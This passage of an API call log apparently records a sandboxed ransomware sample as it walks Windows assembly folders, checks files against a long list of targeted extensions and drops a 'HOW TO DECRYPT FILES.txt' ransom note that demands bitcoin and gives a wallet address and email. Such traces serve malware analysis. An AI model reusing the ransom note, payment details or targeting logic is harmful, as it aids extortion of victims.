(lpString="*.tlg") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.lgb") returned 0 [0104.629] lstrlenA (lpString="*.lgb") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mov") returned 0 [0104.629] lstrlenA (lpString="*.mov") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xdw") returned 0 [0104.629] lstrlenA (lpString="*.xdw") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ods") returned 0 [0104.629] lstrlenA (lpString="*.ods") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.wav") returned 0 [0104.629] lstrlenA (lpString="*.wav") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mp3") returned 0 [0104.629] lstrlenA (lpString="*.mp3") returned 5 [0104.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.aiff") returned 0 [0104.630] lstrlenA (lpString="*.aiff") returned 6 [0104.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.flac") returned 0 [0104.630] lstrlenA (lpString="*.flac") returned 6 [0104.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.m4a") returned 0 [0104.630] lstrlenA (lpString="*.m4a") returned 5 [0104.630] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.csv") returned 0 [0104.630] lstrlenA (lpString="*.csv") returned 5 [0104.630] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e336c93, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x2e336c93, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xeccae517, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x48000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SecurityAuditPoliciesSnapIn.ni.dll", cAlternateFileName="SECURI~1.DLL")) returned 0 [0104.630] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.630] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b9630f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b965800, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b965800, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0d274000ebb641e36382e2f19bb64f4e", cAlternateFileName="0D2740~1")) returned 0 [0104.630] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.630] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650053, dwReserved1=0x750063, cFileName="SMDiagnostics", cAlternateFileName="SMDIAG~1")) returned 1 [0104.630] lstrcmpA (lpString1=".", lpString2="SMDiagnostics") returned -1 [0104.630] lstrcmpA (lpString1="..", lpString2="SMDiagnostics") returned -1 [0104.630] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.630] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="SMDiagnostics" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics" [0104.630] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics") returned 60 [0104.630] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.631] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.631] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.631] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.631] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.631] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8218dc4808b77f3585fb048c61597af1", cAlternateFileName="8218DC~1")) returned 1 [0104.631] lstrcmpA (lpString1=".", lpString2="8218dc4808b77f3585fb048c61597af1") returned -1 [0104.631] lstrcmpA (lpString1="..", lpString2="8218dc4808b77f3585fb048c61597af1") returned -1 [0104.631] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\*.*") returned="*.*" [0104.632] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\", lpString2="8218dc4808b77f3585fb048c61597af1" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1" [0104.632] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1") returned 93 [0104.632] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.632] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.632] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e97a854, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e97a854, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e97a854, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.632] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.632] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.632] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e92e594, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x1e92e594, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x1e92e594, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3e800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="SMDiagnostics.ni.dll", cAlternateFileName="SMDIAG~1.DLL")) returned 1 [0104.632] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SMDiagnostics.ni.dll") returned -1 [0104.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SMDiagnostics.ni.dll") returned -1 [0104.632] lstrcmpiA (lpString1="", lpString2="SMDiagnostics.ni.dll") returned -1 [0104.632] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\*.*") returned="*.*" [0104.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\" [0104.632] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\") returned="" [0104.633] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\HOW TO DECRYPT FILES.txt" [0104.633] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\smdiagnostics\\8218dc4808b77f3585fb048c61597af1\\how to decrypt files.txt")) returned 0xffffffff [0104.633] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\smdiagnostics\\8218dc4808b77f3585fb048c61597af1\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.634] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.634] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.636] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.636] CloseHandle (hObject=0x90) returned 1 [0104.636] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\", lpString2="SMDiagnostics.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll" [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.ems") returned 0 [0104.636] lstrlenA (lpString="*.ems") returned 5 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.db") returned 0 [0104.636] lstrlenA (lpString="*.db") returned 4 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.dbf") returned 0 [0104.636] lstrlenA (lpString="*.dbf") returned 5 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.myox") returned 0 [0104.636] lstrlenA (lpString="*.myox") returned 6 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.myo") returned 0 [0104.636] lstrlenA (lpString="*.myo") returned 5 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qbw") returned 0 [0104.636] lstrlenA (lpString="*.qbw") returned 5 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qbb") returned 0 [0104.636] lstrlenA (lpString="*.qbb") returned 5 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qbm") returned 0 [0104.636] lstrlenA (lpString="*.qbm") returned 5 [0104.636] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qbo") returned 0 [0104.637] lstrlenA (lpString="*.qbo") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qbx") returned 0 [0104.637] lstrlenA (lpString="*.qbx") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qba") returned 0 [0104.637] lstrlenA (lpString="*.qba") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qby") returned 0 [0104.637] lstrlenA (lpString="*.qby") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qbj") returned 0 [0104.637] lstrlenA (lpString="*.qbj") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.ofx") returned 0 [0104.637] lstrlenA (lpString="*.ofx") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.qif") returned 0 [0104.637] lstrlenA (lpString="*.qif") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mye") returned 0 [0104.637] lstrlenA (lpString="*.mye") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mbox") returned 0 [0104.637] lstrlenA (lpString="*.mbox") returned 6 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.eml") returned 0 [0104.637] lstrlenA (lpString="*.eml") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.pst") returned 0 [0104.637] lstrlenA (lpString="*.pst") returned 5 [0104.637] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.ost") returned 0 [0104.638] lstrlenA (lpString="*.ost") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.idx") returned 0 [0104.638] lstrlenA (lpString="*.idx") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.dbx") returned 0 [0104.638] lstrlenA (lpString="*.dbx") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.sql") returned 0 [0104.638] lstrlenA (lpString="*.sql") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mdb") returned 0 [0104.638] lstrlenA (lpString="*.mdb") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.fdb") returned 0 [0104.638] lstrlenA (lpString="*.fdb") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.wab") returned 0 [0104.638] lstrlenA (lpString="*.wab") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.dat") returned 0 [0104.638] lstrlenA (lpString="*.dat") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.txt") returned 0 [0104.638] lstrlenA (lpString="*.txt") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.jpeg") returned 0 [0104.638] lstrlenA (lpString="*.jpeg") returned 6 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.jpg") returned 0 [0104.638] lstrlenA (lpString="*.jpg") returned 5 [0104.638] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.png") returned 0 [0104.639] lstrlenA (lpString="*.png") returned 5 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.php") returned 0 [0104.639] lstrlenA (lpString="*.php") returned 5 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.cs") returned 0 [0104.639] lstrlenA (lpString="*.cs") returned 4 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.cpp") returned 0 [0104.639] lstrlenA (lpString="*.cpp") returned 5 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.rar") returned 0 [0104.639] lstrlenA (lpString="*.rar") returned 5 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.zip") returned 0 [0104.639] lstrlenA (lpString="*.zip") returned 5 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.html") returned 0 [0104.639] lstrlenA (lpString="*.html") returned 6 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.htm") returned 0 [0104.639] lstrlenA (lpString="*.htm") returned 5 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.xlsx") returned 0 [0104.639] lstrlenA (lpString="*.xlsx") returned 6 [0104.639] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.xls") returned 0 [0104.640] lstrlenA (lpString="*.xls") returned 5 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.mp4") returned 0 [0104.640] lstrlenA (lpString="*.mp4") returned 5 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.ppt") returned 0 [0104.640] lstrlenA (lpString="*.ppt") returned 5 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.pptx") returned 0 [0104.640] lstrlenA (lpString="*.pptx") returned 6 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.doc") returned 0 [0104.640] lstrlenA (lpString="*.doc") returned 5 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.dot") returned 0 [0104.640] lstrlenA (lpString="*.dot") returned 5 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.docx") returned 0 [0104.640] lstrlenA (lpString="*.docx") returned 6 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.7z") returned 0 [0104.640] lstrlenA (lpString="*.7z") returned 4 [0104.640] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SMDiagnostics\\8218dc4808b77f3585fb048c61597af1\\SMDiagnostics.ni.dll", pszSpec="*.tar") returned 0 [0104.640] lstrlenA (lpString="*.tar") returned 5 [0104.640] PathMatchSpecA 